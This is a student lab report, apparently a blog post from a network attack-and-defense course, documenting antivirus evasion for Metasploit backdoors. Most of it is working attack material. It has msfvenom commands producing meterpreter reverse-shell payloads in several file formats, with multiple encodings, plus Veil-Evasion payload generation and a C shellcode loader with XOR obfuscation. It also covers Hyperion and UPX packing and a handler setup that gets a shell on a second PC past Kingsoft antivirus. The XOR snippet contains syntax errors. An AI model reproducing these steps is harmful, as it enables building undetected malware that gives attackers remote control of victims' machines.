20212421欧金源 2023-2024-2 《网络与系统攻防技术》实验三实验报告

一、实验内容

1.1实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件veil,加壳工具使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2实验问答

(1)杀软是如何检测出恶意代码的?

1.特征码、启发式、基于行为
2.文件校验和
3.云查杀
4.机器学习

(2)免杀是做什么?

即反杀毒技术。一般为对恶意软件进行处理,让其不被杀毒软件所检测到。

(3)免杀的基本方法有哪些?

1.修改特征码
2.修改校验和
3.花指令免杀
4.加壳免杀
5.内存免杀

二、实验过程

下面是实验中用到的一个提供免费的可疑文件分析服务的网站,可以用来查看文件的免杀程度
链接: Virus Total
以下使用的IP地址若无其他情况,使用的都是虚拟机的IP地址

2.1使用msf编码器,veil-evasion和利用shellcode编程

2.1.1msf编码器

(1)使用msf编码器进行多次编码

生成一个后门程序或者使用上一次实验的后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor.exe
//IP地址为虚拟机的

用Virus Total进行检测:
20212421_backdoor.exe
现在将这个程序进行多次编码(如1次、10次、21次、60次):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor_10.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 21 -b '\x00' LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor_21.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.223.128 LPORT=2421 -f exe > 20212421_backdoor_60.exe
//IP地址为虚拟机的,-i后面为编码次数

在这里插入图片描述

编码后的检测结果:

1:1次
在这里插入图片描述2:10次
在这里插入图片描述3:21次
在这里插入图片描述4:60次
在这里插入图片描述可以看到多次编码后,免杀效果并不是很理想,基本没有变化。中途我试过更多次的编码,但达到一定数值后,就无法编码了,原因可能是程序的长短问题,无法支持太多次的编码。
在这里插入图片描述

(2)使用msfvenom生成如jar之类的其他文件
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.223.128 LPORT=2421 x> jar_20212421.jar 
//输出jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.223.128 LPORT=2421 x> php_20212421.php
//输出php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.223.128 LPORT=2421 x> python_20212421.py 
//输出python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.223.128 LPORT=2421 x> apk_20212421.apk 
//输出apk文件
//以上IP地址都是虚拟机的

在这里插入图片描述在这里插入图片描述对每个输出文件进行检测:
1:jar
在这里插入图片描述2:php
在这里插入图片描述3:python
在这里插入图片描述4:apk
在这里插入图片描述可以看出免杀效果:python>php>apk>jar

此外,我参考其他同学的,又使用了一种反向tcp_ssl的payload:

msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=192.168.223.128 LPORT=2421 -f raw > ssl_20212421.py 

检测结果(比用python的payload还要好上一点):
在这里插入图片描述

2.1.2veil-evasion

下载veil并进行配置(这一步很难,但下载好后就没有太多问题了):
在这里插入图片描述下载后输入以下命令:

veil 
use evasion 
use c/meterpreter/rev_tcp.py //选择payload,这里我还用了ruby/meterpreter/rev_tcp.py和python/meterpreter/rev_tcp.py两种payload
//如果不知道payload,可以先输入list查看支持的payload
set LHOST 192.168.223.128
set LPORT 2421
generate 
20212421ojy_veil

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述检测结果如下:
1:c语言的
在这里插入图片描述2:python语言的
在这里插入图片描述3:ruby
在这里插入图片描述

2.1.3使用C + shellcode编程

使用msfvenom生成shellcode数组

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.223.128 LPORT=2421 -f c
msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.223.128 LPORT=2421 -f c

在这里插入图片描述创建两个.c文件,将生成的两个数组和以下代码分别复制进两个.c文件中(vim进入的话不好复制,可以从文件管理中找到你创建的.c文件,用文本打开,复制粘贴进去)

#include <stdio.h>  
#include <stdlib.h>  
// 将 msfvenom 生成的 shellcode 粘贴到这里  
unsigned char buf[] =   
"生成的shellcode"  ;    
int main() {  
    void (*func)();  
    func = (void (*)()) buf;  
    (func)();  
    return 0;  
}

在这里插入图片描述

使用i686-w64-mingw32-g++ 生成.exe文件

i686-w64-mingw32-g++ 20212421_c_shellcode.c -o 20212422_c_shellcode.exe
i686-w64-mingw32-g++ 20212421_c_shellcode2.c -o 20212422_c_shellcode2.exe

在这里插入图片描述检测结果为:
1:20212421_c_shellcode.exe
在这里插入图片描述2:20212421_c_shellcode2.exe
在这里插入图片描述

2.2通过组合应用各种技术实现恶意代码免杀

2.2.1 c+shellcode+xor(异或)

输入下面命令,获得shellcode,payload用windows/meterpreter/reverse_tcp,编码使用x86/shikata_ga_nai,x86/bloxor。

msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=192.168.223.128 LPORT=2421 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c

在这里插入图片描述生成的shellcode不能立即使用,要先进行一次异或,可用一个c程序进行转换。

int main(){
FILE *fptr;
fptr = fopen("shellcode.txt","w");
for(int i=0;i<sizeof(buf)-1;i+){
buf[i]^0x01;
fprintf(fptr,"\\x%x",buf[i]);
}
if(fptr==NULL){
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}
//主函数

转换后的shellcode数组:
在这里插入图片描述创建一个.c文件,使用转换后的shellcode数组(新的.c文件中还会再进行一次异或从而恢复为原来的shellcode数组):
在这里插入图片描述检测结果为:
在这里插入图片描述

2.2 C+shellcode+xor+加密壳

输入:

cp 20212421_xor.exe /usr/share/windows-resources/hyperion//将前面异或的程序复制到后面的目录下
cd /usr/share/windows-resources/hyperion//进入该目录

在这里插入图片描述输入

wine hyperion.exe -v 20212421_xor.exe 20212421_xor_JM.exe//进行加密壳处理

检测结果:
在这里插入图片描述

2.3 C+shellcode+xor+压缩壳

在hyperion目录下输入:

upx 20212421_xor.exe -o 20212421_xor_press.exe//对异或程序进行压缩壳处理

在这里插入图片描述检测结果:
在这里插入图片描述

2.4 C+shellcode+xor+加密壳+压缩壳

输入

upx 20212421_xor_JM.exe -o 20212421_xor_JM_press.exe

在这里插入图片描述
检测结果:
在这里插入图片描述

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功

电脑:win10主机
杀软:金山毒霸青春版
杀软版本:金山毒霸 15.2023.4.1
输入

    .\ncat -lv 2421 >20212421_backdoor.exe//主机
    nc 172.30.4.230 2421 < 20212421_py_veil3.exe//虚拟机,地址为主机地址;将之前生成的20212421_py_veil3.exe传到主机上

虚拟机进入msfconsole 控制台
输入

use exploit/multi/handler  
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.223.128 
set LPORT 2421    
exploit

点击运行主机上的20212421_backdoor.exe,即可获取主机的shell了
在这里插入图片描述使用金山毒霸进行查杀,发现并没有识别到该程序
在这里插入图片描述
在使用金山毒霸之前,我还使用过电脑自带的防病毒程序、腾讯电脑管家、卡巴斯基等杀毒软件,发现每次将后门程序传过来时,没过多久,就会被杀软发现并查杀掉,可见这些软件的杀毒能力还是很强的。

三、问题及解决方案

3.1veil的下载

解决方案:将国外的更新源换为国内的,并将setup.sh文件里的克隆源换为gitee

Sudo git clone https://gitee.com/spears/VeilDependencies.git

详细见参考资料的前两个。

3.2Unable to create output file

在这里插入图片描述解决方案:

sudo chown root:root -R /var/lib/veil/wine

四、实验感想

这次实验从内容还是困难程度上都是比较大的,尤其是对工具veil的下载,耗费的时间更是一个下午。但最主要的难点也是在veil的下载上,下载好后,其余的其实都差不多。最后一步实现后门程序的免杀还是有一点难度的。我试过好几种杀软,结果每次将后门程序传到主机上,过一会儿就会被杀掉,最后,参考了同学所用的杀软,才在金山毒霸上实验成功了。

五、参考资料

链接: Exp3-免杀原理与实践-20202127
链接: kali 2023 更新为国内源(kali换源超详细)

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值